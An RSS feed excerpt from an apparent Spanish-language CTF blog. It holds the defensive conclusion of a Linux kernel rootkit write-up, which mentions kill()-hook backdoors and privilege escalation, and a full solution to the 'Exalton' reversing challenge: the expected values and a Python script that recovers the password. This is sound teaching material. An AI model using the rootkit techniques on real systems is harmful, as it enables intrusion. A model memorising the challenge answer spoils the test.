&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Este challenge ilustra varios conceptos críticos en análisis de malware y respuesta a incidentes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aprendizajes técnicos:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los rootkits LKM operan en ring 0 y pueden interceptar syscalls arbitrarias&lt;/li&gt;
&lt;li&gt;La función &lt;code&gt;kill()&lt;/code&gt; puede ser hookeada para implementar backdoors mediante señales personalizadas&lt;/li&gt;
&lt;li&gt;El análisis estático es imprescindible cuando la documentación pública no coincide con el comportamiento observado&lt;/li&gt;
&lt;li&gt;Los rootkits modificados requieren ingeniería inversa completa, sin asumir comportamiento estándar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Técnicas aplicadas:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Análisis estático con Ghidra para identificar modificaciones en código conocido&lt;/li&gt;
&lt;li&gt;Correlación entre comportamiento documentado y comportamiento real&lt;/li&gt;
&lt;li&gt;Escalado de privilegios mediante funcionalidades maliciosas del rootkit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Implicaciones defensivas:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los LKM son extremadamente difíciles de detectar una vez cargados&lt;/li&gt;
&lt;li&gt;La verificación de integridad de módulos del kernel (&lt;code&gt;module signing&lt;/code&gt;, &lt;code&gt;Secure Boot&lt;/code&gt;) es crítica&lt;/li&gt;
&lt;li&gt;Herramientas como &lt;code&gt;LKRG&lt;/code&gt; (Linux Kernel Runtime Guard) pueden detectar hooks en syscalls&lt;/li&gt;
&lt;li&gt;La respuesta a incidentes con rootkits requiere arranque desde medios externos confiables&lt;/li&gt;
&lt;/ul&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Exalton</title><link>https://synacklabs.github.io/posts/exalton/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/exalton/</guid><description>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Exalton&lt;/strong&gt; es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.&lt;/p&gt;
&lt;p&gt;La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Tras descargar el binario, realizamos una identificación básica con &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file exalton
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.&lt;/p&gt;</description><content>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Exalton&lt;/strong&gt; es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.&lt;/p&gt;
&lt;p&gt;La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Tras descargar el binario, realizamos una identificación básica con &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file exalton
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="análisis-estático"&gt;Análisis estático&lt;/h2&gt;
&lt;p&gt;Abrimos el binario en &lt;strong&gt;Ghidra&lt;/strong&gt; para realizar el análisis estático. Comenzamos inspeccionando las strings del binario, pero no encontramos información relevante que revele directamente la contraseña.&lt;/p&gt;
&lt;h3 id="función-main"&gt;Función main()&lt;/h3&gt;
&lt;p&gt;En la función &lt;code&gt;main()&lt;/code&gt;, observamos la lógica principal del programa:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-803c-a0de-ceaf02b5989e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa solicita una entrada al usuario mediante &lt;code&gt;scanf&lt;/code&gt; y posteriormente la pasa como argumento a una función llamada &lt;code&gt;exalton()&lt;/code&gt;. El valor de retorno de esta función se compara contra un array de 36 valores enteros hardcodeados en el código.&lt;/p&gt;
&lt;p&gt;Estos valores representan la transformación esperada de cada carácter de la contraseña correcta:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ae81ff"&gt;1152&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1344&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1056&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1968&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1648&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1664&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1824&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1776&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="función-exalton"&gt;Función exalton()&lt;/h3&gt;
&lt;p&gt;Analizamos la función &lt;code&gt;exalton()&lt;/code&gt; para comprender la transformación aplicada:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8000-9c0c-f1e2ebfacd6e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La función realiza las siguientes operaciones sobre cada carácter de la entrada:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recorre la cadena carácter por carácter&lt;/strong&gt; mediante un bucle&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convierte cada carácter a su valor ASCII&lt;/strong&gt; (implícito en C al tratar &lt;code&gt;char&lt;/code&gt; como entero)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aplica un desplazamiento de bits a la izquierda de 4 posiciones&lt;/strong&gt; (&lt;code&gt;&amp;lt;&amp;lt; 4&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;La operación &lt;code&gt;x &amp;lt;&amp;lt; 4&lt;/code&gt; equivale a multiplicar por 2⁴ = 16. Por tanto, la transformación es:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;valor_transformado&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ASCII&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;carácter&lt;/span&gt;) &lt;span style="color:#960050;background-color:#1e0010"&gt;×&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="solución-reversión-de-la-transformación"&gt;Solución: Reversión de la transformación&lt;/h2&gt;
&lt;p&gt;Para recuperar la contraseña original, debemos aplicar la operación inversa a cada valor del array. Si la transformación fue &lt;code&gt;x &amp;lt;&amp;lt; 4&lt;/code&gt;, la inversa es &lt;code&gt;x &amp;gt;&amp;gt; 4&lt;/code&gt; (desplazamiento a la derecha).&lt;/p&gt;
&lt;p&gt;Implementamos un script en Python que:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Toma cada valor del array&lt;/li&gt;
&lt;li&gt;Aplica &lt;code&gt;&amp;gt;&amp;gt; 4&lt;/code&gt; para revertir la multiplicación por 16&lt;/li&gt;
&lt;li&gt;Convierte el resultado a su carácter ASCII correspondiente&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transform_inversa&lt;/span&gt;(numbers):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; n &lt;span style="color:#f92672"&gt;in&lt;/span&gt; numbers:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ascii_val &lt;span style="color:#f92672"&gt;=&lt;/span&gt; n &lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Revertir el desplazamiento&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; chr(ascii_val)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; result
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1152&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1344&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1056&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1968&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1648&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1664&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1728&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1632&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1520&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1840&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1824&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;816&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1584&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1856&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;784&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1776&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1760&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;528&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(transform_inversa(password))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="resultado-y-verificación"&gt;Resultado y verificación&lt;/h2&gt;
&lt;p&gt;Al ejecutar el script, obtenemos la contraseña correcta. Verificamos ejecutando el binario con la contraseña recuperada:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80ff-9c94-ebbcb14adffb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa acepta la entrada y nos revela la flag.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Este challenge ilustra una técnica común en reversing: &lt;strong&gt;transformaciones aritméticas simples&lt;/strong&gt; aplicadas a la entrada del usuario. Aunque el operador de desplazamiento de bits puede parecer complejo a simple vista, su equivalencia con operaciones aritméticas lo hace reversible de forma trivial.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aprendizajes técnicos:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Los operadores bit a bit (&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;) son frecuentemente usados en validaciones de contraseña&lt;/li&gt;
&lt;li&gt;La operación &lt;code&gt;&amp;lt;&amp;lt; 4&lt;/code&gt; es equivalente a &lt;code&gt;× 16&lt;/code&gt; y &lt;code&gt;&amp;gt;&amp;gt; 4&lt;/code&gt; a &lt;code&gt;÷ 16&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ghidra facilita la identificación de patrones de transformación mediante la descompilación&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Implicación defensiva:&lt;/strong&gt; Este tipo de validación ofrece protección nula contra análisis estático, ya que los valores esperados están expuestos directamente en el binario. Una implementación más robusta requeriría hashing criptográfico o validación remota.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>